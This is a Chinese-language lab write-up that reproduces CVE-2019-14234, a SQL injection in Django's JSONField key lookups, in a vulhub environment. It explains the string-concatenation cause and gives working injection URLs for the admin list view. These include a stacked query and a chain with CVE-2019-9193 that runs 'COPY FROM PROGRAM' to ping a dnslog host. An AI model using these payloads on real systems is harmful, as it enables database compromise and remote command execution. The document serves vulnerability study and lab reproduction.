漏洞介绍
Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。CVE-2019-14234是一个SQL注入漏洞,它存在于Django框架中的JSONField和HStoreField字段类型中。当开发者使用这些字段类型,并且允许用户通过查询集(queryset)的键名(key name)来执行查询时,就可能会受到此漏洞的影响。由于Django在处理这些查询时使用了简单的字符串拼接,恶意用户可以通过构造特定的查询来注入恶意的SQL代码。
漏洞范围
Django
1.11.x before 1.11.23
2.1.x before 2.1.11
2.2.x before 2.2.4
漏洞靶场
使用vulhub的靶场:
使用的环境是django:2.2.3
vulhub-master/django/CVE-2019-14234/
启动靶场环境:
1 | docker-compose up -d |
环境启动后,访问http://your-ip:8000即可看到Django默认首页。
漏洞原理
我们直接看到JSONField的实现:
1 | class JSONField(CheckFieldDefaultMixin, Field): |
django/contrib/postgres/fields/jsonb.py#L30-L57
JSONField继承自Field,其实Django中所有字段都继承自Field,其中定义了get_transform函数。
编写过自定义Field的同学应该知道,Django中有以下两个概念:
- Lookup
- Transform
我们以上面给出过的一个例子来说明这两者的区别:
1 | .filter(detail__tags__contains='django') |
这个queryset中,__tags是transform,而__contains是lookup。
他们的区别是:transform表示“如何去找关联的字段”,lookup表示“这个字段如何与后面的值进行比对”。
正常情况下,transform一般用来在通过外键连接两个表,比如.filter(author__username='phith0n')可以表示在author外键连接的用户表中,找到username字段;lookup很多时候是被省略的,比如.filter(username='phith0n')表示找到用户名为phith0n的用户,这个被省略的lookup其实就是__exact。
用伪SQL语句表示就是:
1 | WHERE `users`[1] [2] 'value' |
位置[1]是transform,位置[2]是lookup,比如transform是寻找外键表的字段username,lookup是exact(也就是等于),那么生成的SQL语句就是WHERE users.username = 'value'。
那么,在JSONField中,lookup实际上是没有变的,但是transform从“在外键表中查找”,变成了“在JSON对象中查找”,所以自然需要重写get_transform函数。
get_transform函数应该返回一个可执行对象,你可以理解为工厂函数,执行这个工厂函数,获得一个transform对象。
而JSONField用的工厂函数是KeyTransformFactory类,其返回的是KeyTransform对象:
1 | class KeyTransformFactory: |
django/contrib/postgres/fields/jsonb.py#L182-L188,L94-L117
Django的model最本质的作用是生成SQL语句,所以transform和lookup都需要实现一个名为as_sql的方法用来生成SQL语句。这里原本生成的语句应该是:
1 | WHERE (field->'[key_name]') = 'value' |
但这里可见,[key_name]位置的json字段名居然是……字符串拼接!
这就是本漏洞出现的原因。
漏洞复现
首先使用以下凭据登录Django管理界面http://your-ip:8000/admin/:
- 用户名:
admin - 密码:
a123123123
导航到Collection模型的列表视图http://your-ip:8000/admin/vuln/collection/:

要利用SQL注入漏洞,在GET参数中添加detail__a'b=123,其中detail是JSONField字段:
1 | http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123 |
SQL错误信息将会显示,证实注入成功:

下一步结合CVE-2019-9193我们尝试进行命令注入,构造url如下
1 | http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20 |
页面结果虽然报错,但是报错原因是no results to fetch,说明我们的语句已经执行

然后用dnslog检测是否可以执行命令
1 | http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping dnslog地址'--%20 |


参考
CVE-2019-14234:Django JSONField SQL注入漏洞复现-腾讯云开发者社区-腾讯云 (tencent.com)
https://github.com/vulhub/vulhub/blob/master/django/CVE-2019-14234/README.zh-cn.md